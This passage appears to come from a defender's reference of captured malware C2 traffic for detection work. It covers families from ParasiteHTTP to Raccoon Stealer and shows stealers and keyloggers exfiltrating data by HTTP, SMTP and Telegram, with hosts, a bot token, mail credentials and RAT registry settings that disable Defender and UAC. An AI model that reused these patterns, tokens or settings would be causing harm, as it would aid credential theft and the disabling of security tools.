0000018C 2b dc 09 86 b8 c1 00 59 c7 3f ee 1e bc f1 7c aa +......Y .?....|.
0000019C 21 80 87 d0 59 46 5c d4 e5 ab 92 20 19 b3 ae e7 !...YF\. ... ....
000001AC 75 e4 05 4b 7b 6d u..K{m
00000034 04 c7 86 72 d5 82 d3 50 23 f0 22 9f bc 7f b1 f3 ...r...P #.".....
00000044 2f 44 27 83 80 9d ab d2 22 72 ff 33 a0 8e 85 17 /D'..... "r.3....
00000054 fd af c9 1e 5e c9 68 88 70 a6 27 7e 6f 95 7b d5 ....^.h. p.'~o.{.
00000064 ed 48 fd 08 .H..
~~~
#### ParasiteHTTP Loader
~~~
POST /index.php HTTP/1.1
Accept: */*
Host: 80.233.134.242
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 280
Cache-Control: no-cache
BF6472F6DC3=Pi5tSiBItP-2ZyuFJlr31Jp58O0HzR74v0b4l2HaoHH537FeTxgg-msYkTvX6SSJ8FswUtoTg4O86o2HyWec2zuU6VFzTwgaFYw_28nFRIqcJv8TqrV7SYgFKSpbqY8aZhEcHY982M_flvAHMCjsD8-fxezzV5BSBDBbfYb5WZvBrsbJVlPwXYFmETrm7CrWF5LwvEFhu1Ecp14ymv1xPoCG0vfqAv5tsUn0H7mA5R5g7HAo2c3_r9fuZUtw9CKD46G2JnBF-A==
HTTP/1.1 200 OK
Date: Tue, 28 May 2019 08:46:26 GMT
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.37
X-Powered-By: PHP/5.6.37
Set-Cookie: PHPSESSID=s3l4jdfsc8nkjghcevlshn3d67; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 416
Connection: close
Content-Type: text/html; charset=utf-8
8jQG4riRhJFWMlJ9RTKeV7k45+I3REM8JjIIBZ2ttxzjDFxOX7VjxuypIrJn9cQ1ZMg6fvgWSSpto3sivUfvUCHWLzb2ljPhPugPTYb0KsgResnAIFl+aoqF5m9bCyBd6PMoRLdOdsuDW+E3wrb7ZNpApXlX2htDZRNhaqfST8eBE9Cvl7H0vyUzY+BfH5M4fvvt71DCRt2OP31tgu7aMMxM0mUWvBBZcNpeZzLRdMFd0Ea1u3oM+vLWrhFLYGuCWN6TPaqlEpw/9pgLUI8BhxUYFOJvyTRIFwXmlQPWMY6qg0/l+b5Ha+SYCnLtw8Uyqilil+OBM+KM5MT4C4l9vkXsv/ID9X8ZRr2l9cHzlW5J7sLVrGeH26KmBrjqBM3c4Ini4VTZZCr5KDrsRpi21NaheQLGLA==
~~~
#### Parasite Stealer aka Nexus
~~~
POST /gate.php HTTP/1.1
Content-Type: application/octet-stream;
User-Agent: Client
Host: 193.168.3.101
Content-Length: 1216583
Cache-Control: no-cache
{846ee340-7039-11de-9d20-806e6f6e6963}~;^;Windows 7 Professional x64~;^;1.0~;^;0~;^;0~;^;0~;^;0~;^;0~;^;8~;^;PK.........q?P..&.?....... ...about.logUT
..m.4^m.4^m.4^.U]..@.}. ..>j6...?.J.Z7K!....0,....au..;.6u.....s...\?......J.CP...%....wz..........,#][F.p...]d...8X.`...[a... .....{.A.A.-.}....e....o]...H`.."......o3...&x+H.k......6x.tM....E.r..H.... Ls\f.....`.......].h\.....4.1..V.W%X.D.....3Y....9.u,ch......$i..Ps........J.uN.%...........y...8.QF7.... .!.........d.8...d;&.....................l.m7....w...1.3......r.. {.i.....}Lr5h.w..8eB._..w.LJp..9....+..]....T.6-..o..-f7.Q.z;...<..W.%.pA.......Q..d.o..""".-xD`)..F=..]..*..I.s0...-..P*.1.I..2N....!..\...5....IB..(O....u..Z......=....}.$.?;7Lt....)."/Y...o5.$..e....G'U....xrB..PK..........?P............ ...Browsers/UT
..`.5^`.5^`.5^PK.........q?PX.eS.P...P......Grabber.zipUT....... .......about.logUT...m.4^PK............?P............ . ..........Aw...Browsers/UT...`.5^PK...........q?PX.eS.P...P.... ....... .......Grabber.zipUT...n.4^PK...........q?P.ci..:...|.... ....... ....S..screen.jpegUT...m.4^PK....................
HTTP/1.1 200 OK
Date: Fri, 31 Jan 2020 21:13:48 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
~~~
#### Phoenix Keylogger
~~~
220 us2.outbound.mailhostbox.com ESMTP Postfix
EHLO User-PC
250-us2.outbound.mailhostbox.com
250-PIPELINING
250-SIZE 41648128
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH login dGhiQHRiaC10dy5jb20=
334 UGFzc3dvcmQ6
d2Fzc29kZWRvbjIy
235 2.7.0 Authentication successful
MAIL FROM:
250 2.1.0 Ok
RCPT TO:
250 2.1.5 Ok
DATA
354 End data with .
MIME-Version: 1.0
From: thb@tbh-tw.com
To: thb@tbh-tw.com
Date: 1 Nov 2019 14:38:03 +0000
Subject: PX | PSWD | Client Name: admin
Content-Type: multipart/mixed;
boundary=--boundary_0_b03405b1-500a-4ac8-8975-daed06a88bd0
----boundary_0_b03405b1-500a-4ac8-8975-daed06a88bd0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
|------- Phoenix Keylogger - Passwords -------|=0D=0A+-----------=
-- Client INFO -------------+=0D=0AIP: 81.17.242.238=0D=0AHWID: 1=
78BFBFF000506E3=0D=0AOwner Name: USER-PC=0D=0AFull OS Name: Micro=
soft Windows 7 Professional =0D=0AOS Platform: Win32NTOS Version:=
6.1.7601.65536=0D=0ASystem Boot Mode: Normal=0D=0APhysical Memor=
y: 3.25 GB Available Of 4.09 GB =0D=0AVirtual Memory: 1.85 GB A=
vailable Of 2.04 GB =0D=0ADate: 11/1/2019 2:37:59 PM=0D=0A-------=
----------------------------------=0D=0A
----boundary_0_b03405b1-500a-4ac8-8975-daed06a88bd0
Content-Type: application/octet-stream; name="PXRecoveries | 11/1/2019
2:38:00 PM.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
77u/PT09PT09PT09PT09Q2hyb21lPT09PT09PT09PT09PT0NCkhvc3Q6IGh0dHBzOi8v
d3d3LmZhY2Vib29rLmNvbS8NClVzZXJuYW1lOiBob25leUBwb3QuY29tDQpQYXNzd29y
ZDogaG9uZXlwYXNzMzU2DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KID09
PT09PT09PT09PU91dExvb2s9PT09PT09PT09PT09PQ0KSG9zdDogMTkyLjE2OC4xLjEN
ClVzZXJuYW1lOiBob25leUBwb3QuY29tDQpQYXNzd29yZDogaG9uZXlwYXNzMzU2DQo9
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIA==
----boundary_0_b03405b1-500a-4ac8-8975-daed06a88bd0--
.
250 2.0.0 Ok: queued as 7CDF2181E51
~~~
#### Plugx
~~~
POST /update?wd=b0b9d49c HTTP/1.1
Accept: */*
x-debug: 0
x-request: 0
x-content: 61456
x-storage: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Host: 185.239.226.61:8080
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
~~~
~~~
............?PEOJNOOBAAHDMKNGELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com.................?JJIOHDOBJEIEIBJJELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com.................?DBCGBLOBDMGFEIEMELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com.................?JJIOHDOBJEIEIBJJELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com................=.a.gtld-servers.net..nstld.verisign-grs..]..A......... :...Q.............?PEOJNOOBAAHDMKNGELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com................=.a.gtld-servers.net..nstld.verisign-grs..]..2......... :...Q.............?DBCGBLOBDMGFEIEMELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com................=.a.gtld-servers.net..nstld.verisign-grs..]..2......... :...Q.
~~~
~~~
GET /EF003AAB6425775CD949B40C HTTP/1.1
Accept: */*
Cookie: QhTbeUW+YzYYsZWz0PQvBvYIgo8=
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: WOUDERFULU.impresstravel.ga
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 203
Server: nginx
Date: Tue, 03 Sep 2019 14:37:02 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 660
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Server: ip-172-31-28-245
Set-Cookie: JSESSIONID=4618E9008B004BEE8FE5C81AB063A332; Path=/; HttpOnly
~~~
#### Pony
Follow tcp stream, not http stream in wireshark
~~~
POST /mlu/forum.php HTTP/1.0
Host: spausence.com
Accept: */*
Accept-Encoding: identity, *;q=0
Accept-Language: en-US
Content-Length: 369
Content-Type: application/octet-stream
Connection: close
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
..|Rk.. ."6d0..)/.....Lo..l{;..:.NJT;.G..3P..n...{.i..eLX..j...K.N.......A.
n.%.....r..&..........J.l.V..of..T..V$... .L...5....6F...9.)......(...
.(O........*[z\.....N....=..4..];....L.W......Q...*.S....V. 7.4.L..v..oi...x..W7....{.....V)...:...1...R..V.......+...]m
.......B...|D..t.Y.{..............{W.f.._i...i.!..d.C...r.......A.,.z....ta..m..
5!...w+.....p....!0
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 03 Oct 2019 17:17:59 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.4.45
..
.....f>k.X.......
~~~
#### Pony Loader
~~~
POST /eng/gate.php HTTP/1.0
Host: www.jicago-jp.com
Accept: */*
Accept-Encoding: identity, *;q=0
Content-Length: 199
Connection: close
Content-Type: application/octet-stream
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP/1.1 200 OK
Date: Wed, 09 Oct 2019 08:44:06 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
STATUS-IMPORT-OK
~~~
#### Predator Pain Keylogger
~~~
From: pain@globalfinancel.com
To: pain@globalfinancel.com
Date: 17 Oct 2019 08:04:48 -0700
Subject: Predator Pain v13 - Server Ran - [XRWJAM272278424]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
This is an email notifying you that XRWJAM272278424 has ran your =
logger and emails should be sent to you shortly and at interval c=
hoosen.=0D=0A =0D=0APredator Logger Details: =0D=0AServer Name: R=
egSvcs.exe=0D=0AKeylogger Enabled: False=0D=0AClipboard-Logger En=
abled: False=0D=0ATime Logs will be delivered: Every 60 minutes=0D=0A=
=0D=0AStealers Enabled: True=0D=0ATime Log will be delivered: Av=
erage 2 to 4 minutes=0D=0A =0D=0ALocal Date and Time: 10/17/2019 =
8:04:41 AM=0D=0AInstalled Language: en-US=0D=0AOperating System: =
Microsoft Windows 7 Professional =0D=0AInternal IP Address: 192.1=
68.180.170=0D=0AExternal IP Address: =0D=0AInstalled Anti-Virus: =
=0D=0AInstalled Firewall:=20
.
250 OK id=1iL7Kv-003iIX-Hl
From: pain@globalfinancel.com
To: pain@globalfinancel.com
Date: 17 Oct 2019 08:05:04 -0700
Subject: Predator Pain v13|Stealer Log - [XRWJAM272278424]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
********************************=
**************=0D=0A Operati=
ng System Intel Recovery=0D=0A **=
********************************************=0D=0ACPU Name: XRWJA=
M272278424=0D=0ALocal Date and Time: 10/17/2019 8:04:55 AM=0D=0AI=
nstalled Language: en-US=0D=0ANet Version: 4.0.30319.42000=0D=0AO=
perating System Platform: Win32NT=0D=0AOperating System Version: =
6.1.7601.65536=0D=0AOperating System: Microsoft Windows 7 Profess=
ional =0D=0AInternal IP Address: 192.168.180.170=0D=0AExternal IP=
Address: =0D=0AInstalled Anti-Virus: =0D=0AInstalled Firewall: =0D=0A=
********************************=
**************=0D=0A WEB Bro=
wser Password Recovery=0D=0A ****=
******************************************=0D=0A=0D=0A =
*******************************************=
***=0D=0A Mail Messenger Passw=
ord Recovery=0D=0A **************=
********************************=0D=0A=0D=0A =
**********************************************=0D=0A =
Internet Download Manager Reco=
very=0D=0A **********************=
************************=0D=0A **=
********************************************=0D=0A =
Jdownloader Password Recovery=0D=0A =
***************************************=
*******
.
250 OK id=1iL7LE-003ina-5V
~~~
#### Predator the Thief
~~~
POST /api/check.get HTTP/1.1
Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.906.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Host: 95.215.205.56
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Wed, 09 Oct 2019 20:05:42 GMT
Server: Apache
Set-Cookie: SID_INTERFICE=4c616d7fffe95fe8fc2f4f46d272c8a0412c1404; expires=Thu, 10-Oct-2019 20:05:42 GMT; Max-Age=86400; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 132
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
nr8uEQylGUpuY0Qjyde/Fn3TGzRg6JFXvSXGhXxBL0Ls2eMYLaWSpJIvp6bRuCqmkclDgfyfYtc7/hQGxqKlJiPdCQ0v/JyN12lNiho7IjBLW3VB02orxGMXTr04WaAQz73q
HTTP/1.1 200 OK
Date: Wed, 09 Oct 2019 20:05:42 GMT
Server: Apache
Set-Cookie: SID_INTERFICE=4c616d7fffe95fe8fc2f4f46d272c8a0412c1404; expires=Thu, 10-Oct-2019 20:05:42 GMT; Max-Age=86400; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 132
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
nr8uEQylGUpuY0Qjyde/Fn3TGzRg6JFXvSXGhXxBL0Ls2eMYLaWSpJIvp6bRuCqmkclDgfyfYtc7/hQGxqKlJiPdCQ0v/JyN12lNiho7IjBLW3VB02orxGMXTr04WaAQz73qPOST /api/gate.get?p1=2&p2=5&p3=0&p4=2&p5=0&p6=0&p7=0&p8=0&p9=0&p10=udh8T1P6VQh1ZF9DgIniQjWRSWBTqqYq5k2u HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------228
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.906.121 Safari/537.36
Host: 95.215.205.56
Content-Length: 6028
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: SID_INTERFICE=4c616d7fffe95fe8fc2f4f46d272c8a0412c1404
-----------------------------228
Content-Disposition: form-data; name="file"; filename="s7q3q0u1v7q3q0u1v7.zip"
Content-Type: application/octet-stream
PK..........IO................Outlook/UT
...K.].K.].K.]PK..........IOo...?...F.......Outlook/Outlook.txtUT
...K.].K.].K.]s.M...R...K.t(./.K..e..
H,.../J.......f@.`...+.CK#=C3.=C=C../..PK..........IO................General/UT
...K.].K.].K.]PK..........IO................Cookies/UT
...K.].K.].K.]PK..........IO................History/UT
...K.].K.].K.]PK..........IO................Other/UT
...K.].K.].K.]PK..........IOa.qZ............History/Chrome_0.txtUT
...K.].K.].K.].V[k.8.~..?.............B...>..,{D4.V....?..e..4M.M...`....s...O....3..b%....0.
7.'_.;s6.H}6.kZ.Fz........i...aZ...".".v.P.x>PR.[.D...$Q..."...%
f...Y.[.V.......G.*"...Ig..Y...k=}..}..U....@....T..n.-)7Z.Yt..%...$.P.vQ....p.z..&..t...P[...w...T....6A..!k...:...V...Fp.....-.a.....7......_.X...E../;..T8..7.I..)Y..(..,....)JP..........nf..g..E.\..(..@..XQ.l....".e..a.X .H.?*.".a.F9`..~zrzr.. .M......
.
~~~
#### Proyecto (aka Nemours) RAT
~~~
0|New - 25-10-19/21:41|United States|USER-PC - admin|Windows 7 Professional - 32 Bits / Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz / 4 / / 0|US|0|192.168.100.60|0 Cap.|oolkth|9090|OFF| - 0 / || Tiene Capturas de: |New - |||No Available
13|Program Manager|OFF|OFF - 0 / ||
~~~
#### Pyrogenic
flah on "53 E1 6D D3 9E EE 45 D4" on iniial connection, 175 bytes
~~~
00000000 53 S
00000001 e1 6d d3 9e ee 45 d4 ad 26 96 67 86 36 fb f7 cc .m...E.. &.g.6...
00000011 3f 15 13 b7 cf 5e 99 ac dc 9d e6 36 cd 61 bd 91 ?....^.. ...6.a..
00000021 37 5c db a0 15 ec f4 5a 9a 63 96 7f 2b e6 b3 3c 7\.....Z .c..+..<
00000031 96 a9 aa fe d6 37 6d f5 1d 57 8f 26 f1 03 a4 7a .....7m. .W.&...z
00000041 7b d9 5f 01 8c 5e 87 c5 de 80 a2 52 15 24 e0 73 {._..^.. ...R.$.s
00000051 51 70 b4 6f 60 7c a8 4c df 36 ac df 96 b3 18 b5 Qp.o`|.L .6......
00000061 54 37 74 9b d1 60 06 f1 46 b2 8f e2 23 f2 58 80 T7t..`.. F...#.X.
00000071 de d9 8d d9 10 35 91 7f d9 74 4b 6e 05 4c 13 9f .....5.. .tKn.L..
00000081 68 85 65 d0 bb f6 67 0c 78 ae 12 b6 ab 89 90 14 h.e...g. x.......
00000091 e0 47 c5 56 c9 e0 0f 17 73 95 ee 30 08 fa 0e 47 .G.V.... s..0...G
000000A1 cd ec dd 72 db e7 ff bf b9 57 b3 61 c4 cb 4c ...r.... .W.a..L
~~~
#### Qbot
usually url is /t3
~~~
POST /t3 HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 174.48.72.160
Content-Length: 215
Cache-Control: no-cache
ycgizbarun=8e5ygoO+WS2h/ypd2ZEi8nHeEKPFyrdKrXgLyQd6Gi76j4KxXuMEm2K/lEHrTJqqWdDWXZQWcLyTbSnECgNFerjMjb9ittXV+rg/yqpLMLtOWYw6pCz2nDkPbGnUW3Z61/yZoSoh9zdJzkpTmYMCloxmblZ9Eos4QZHsiMecjlcmNjwU1D/9ShQ6cGKSJxHNVT2lNGCykNU=
HTTP/1.1 200 OK
Server: nginx/1.9.12
Content-Length: 41
ParseHttpResponse() failed pCurlResp=NULL
~~~
#### Qealler RAT
~~~
........t.]{"serverPath":"C:\\Users\\Jonathan\\Desktop\\PO6671.jar","securityRetry":20,"vbox":false,"serverVersion":"v2.0.0","mainPath":"C:\\Users\\Jonathan\\QkpCj","nickName":"14TH TWETWE APRIL","vmware":false,"encryptKey":"NnKHsguoUsbJwLwumvSXFoiWR","operatingSystem":{"osDefaultArch":"amd64","country":{"code":"us","name":"United States"},"icon":"windows7","admin":true,"language":"English (United States)","type":1,"processor":2,"osDefaultName":"Windows 7","computerUser":"Jonathan","javaArchitecture":"amd64","computerName":"JONATHAN-PC","name":"Windows 7 Professional","osDefaultVersion":"6.1","jreVersion":"1.8.0","architecture":"amd64","ram":"3 GB"},"uuid":"7094850e-92de-4eed-b492-65d966bc00b5lumteifxDUDU","command":1,"network":[{"delay":2,"port":4424,"dns":"marketingsiamgrains.zapto.org"}],"jrePath":"C:\\Users\\Jonathan\\Oracle\\bin\\javaw.exe","userTitle":"Jonathan@JONATHAN-PC","security":[{"process":["UserAccountControlSettings.exe"],"code":"user-account-control","reg":[{"value":"\"ConsentPromptBehaviorAdmin\"=dword:00000000\r\n\"ConsentPromptBehaviorUser\"=dword:00000000\r\n\"EnableLUA\"=dword:00000000\r\n\"PromptOnSecureDesktop\"=dword:00000000\r\n","key":"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","valuesCommand":[]}],"name":{"en":"User Account Control"}},{"process":["Taskmgr.exe"],"code":"task-manager","reg":[{"value":"\"DisableTaskMgr\"=dword:00000002\r\n","key":"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","valuesCommand":[{"name":"DisableTaskMgr","valueCommand":"2","valueCommandType":"REG_DWORD","key":"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"}]}],"name":{"en":"Task Manager"}},{"process":["procexp.exe"],"code":"msconfig","name":{"en":"MsConfig"}},{"process":["MSASCuiL.exe","MSASCui.exe","MsMpEng.exe","MpUXSrv.exe","MpCmdRun.exe","NisSrv.exe","ConfigSecurityPolicy.exe"],"code":"windows-defender","reg":[{"value":"\"DisableAntiSpyware\"=dword:00000001\r\n","key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender","valuesCommand":[{"name":"DisableAntiSpyware","valueCommand":"1","valueCommandType":"REG_DWORD","key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender"}]},{"value":"\"DisableBehaviorMonitoring\"=dword:00000001\r\n\"DisableOnAccessProtection\"=dword:00000001\r\n\"DisableScanOnRealtimeEnable\"=dword:00000001\r\n","key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection","valuesCommand":[{"name":"DisableBehaviorMonitoring","valueCommand":"1","valueCommandType":"REG_DWORD","key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection"},{"name":"DisableOnAccessProtection","valueCommand":"1","valueCommandType":"REG_DWORD","key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection"},{"name":"DisableScanOnRealtimeEnable","valueCommand":"1","valueCommandType":"REG_DWORD","key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection"}]}],"name":{"en":"Windows Defender"}}],"installDate":{"daysRunning":0,"lastModified":1586920462000},"installation":{"jarName":"vrpiI","moduleFolder":"fZrJY","moduleEntry":"LmqeMOCMZKDnCAMInhONhNssACvKupnYNmRGqciHQTmDqMeajNLIKvjeiGOkSFQDkiMQfSaBSp/atbrMtgqBWJtmbTArraiRtMHwMQqwICMrbnBkjtHHUsULWJhUZZJAlRSSnSZvWFv/hidBDxdVcfNQOjMqVwjrrjqXirgxqjnS.BlDbZGWeXeYlqIdKpxKaROeDvagYjATCOaTNXXRK","uniqueIDFile":".ntusernt.ini","delay":2,"jreFolder":"Oracle","active":true,"mainFolder":"QkpCj","moduleExtension":"Jus.txt","jarExtension":"class.txt","jarRegistry":"eHgASPs"},"localIp":"192.168.100.101"}t..{"command":104}t..{"command":114}t..{"command":115}t.N{"title":"\r\n[Administrator: Command Prompt - dump 2888]\r\n","command":115}t.H{"time":{"hour":0,"minute":0,"second":0},"command":114,"sleeping":false}t.A{"title":"\r\n[Administrator: Command Prompt]\r\n","command":115}t.,{"title":"\r\n[TCPHound]\r\n","command":115}t. {"moduleId":"008","command":108}t.X{"title":"\r\n[MegaDumper 1.0 by CodeCracker / SnD (Not Responding)]\r\n","command":115}t.G{"title":"\r\n[MegaDumper 1.0 by CodeCracker / SnD]\r\n","command":115}t. {"moduleId":"008","command":108}t.H{"time":{"hour":0,"minute":0,"second":0},"command":114,"sleeping":false}t.,{"title":"\r\n[TCPHound]\r\n","command":115}t.N{"title":"\r\n[Administrator: Command Prompt - dump 2888]\r\n","command":115}t..{"command":111}
~~~
#### Quasar RAT
Flag on "40 00 00 00" pattern, 68 data bytes on first packet
~~~
00000000 40 00 00 00 3e 83 58 08 ad d1 05 8d 77 20 53 1f @...>.X. ....w S.
00000010 dc 2e e8 99 0a f3 f1 bb 3a 8c c2 a1 9d 72 4a 69 ........ :....rJi
00000020 e6 60 97 da 1e 76 87 16 91 f2 1b c4 f4 89 f9 8a .`...v.. ........
00000030 20 5b 19 e5 7c ae ed f1 b4 5a d2 ce 5f 86 17 20 [..|... .Z.._..
00000040 c6 b3 03 8c ....
~~~
#### Qudox
~~~
GET /gate.php?check HTTP/1.1
Host: 195.2.92.64
HTTP/1.1 200 OK
Date: Fri, 04 Sep 2020 13:08:34 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 12
Content-Type: text/html; charset=UTF-8
by+B+dC9UQ==
GET /gate.php HTTP/1.1
Host: 195.2.92.64
Content-Length: 76
TBOs3enZOi2/1kVNZdn9bAt1EnPmqL4g9GBGU95XoNzQo6hiYel7j0rkpapVu45CkORs54FJtg==
~~~
#### Qulab Clipper
~~~
GET /bot873737212:AAFatKVhb76Tb7yoLv3dCtDO9sgKAsUV_gg/getMe HTTP/1.1
User-Agent: AutoIt
Host: api.telegram.org
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Fri, 01 Nov 2019 18:11:04 GMT
Content-Type: application/json
Content-Length: 124
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
{"ok":true,"result":{"id":873737212,"is_bot":true,"first_name":"MASADCLIPPERANDSTEALER","username":"aliclipperstealer_bot"}}
~~~
~~~
POST /bot873737212:AAFatKVhb76Tb7yoLv3dCtDO9sgKAsUV_gg/sendDocument HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=----WinHttpBoundaryLine_56206.90110
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,*/*;q=0.5
Accept-Charset: utf-8;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 6.1) WinHttp/1.6.4.0 (WinHTTP/5.1) like Gecko
Content-Length: 55058
Host: api.telegram.org
------WinHttpBoundaryLine_56206.90110
Content-Disposition: form-data; name="chat_id"
880414267
------WinHttpBoundaryLine_56206.90110
Content-Disposition: form-data; name="document"; filename="ENU_6887FE9730D2535E9D41.7z"
Content-Type: application/octet-stream
7z..'...E..P........$.......aO...5...]....C.k".0DL.p1SC ...UM..,.j
.M.%...}...)..p.d...7.+..w..,..\....w.0z9:6....6...94..._...r..Xu.,........
.<&:e...S.4.....k._4jn.
.....)+/q.*?..2 ..j..tj.Y....M.o...$1...H.....r..*%.J.A......Y..2.......0..+.......uz..../O......48.7........&.A...WT{...v.W.\.o.....cax..H.Y...A....<4<.8|........p0E....f..W.X.....Z.. ...k5..0 .1t..r.1L.p.Y,.3.....H.f......0.$....JGv...z..L'....'...&<.&m....@rS...r......u...6.#.7z...h.B..._.S.....z..F..q...].V3`w1/...._f(m...$....W<....L&Zv.a......HR.'.r...H'J(.f.......&_?..8.EL...#...j..(....._.\Vw
....d%{.$MR`e!.]..$
...-.ct...~Za@YsbNNG...~.R......b..'..oRW3.L..N..&.Q4.
~~~
#### RaaLoader aka Pefsire
~~~
00000000 12 10 00 00 00 00 00 00 00 00 00 00 ........ ....
00000000 00 00 00 00 06 .....
0000000C 00 00 00 00 06 .....
00000005 00 00 00 00 06 .....
00000011 00 00 00 00 06 .....
~~~
#### Raccoon Stealer
~~~
POST /gate/log.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
Host: 35.189.105.242
params=Ym90X2lkPTkwMDU5QzM3LTEzMjAtNDFBNC1CNThELTJCNzVBOTg1MEQyRl9hZG1pbiZjb25maWdfaWQ9NGVkZTQxZmUwZWE5NjMwMzRhM2Q2NWYwZGQ0NDJkZTQ2NzFjMjE0ZiZkYXRhPW51bGw=HTTP/1.1 200 OK
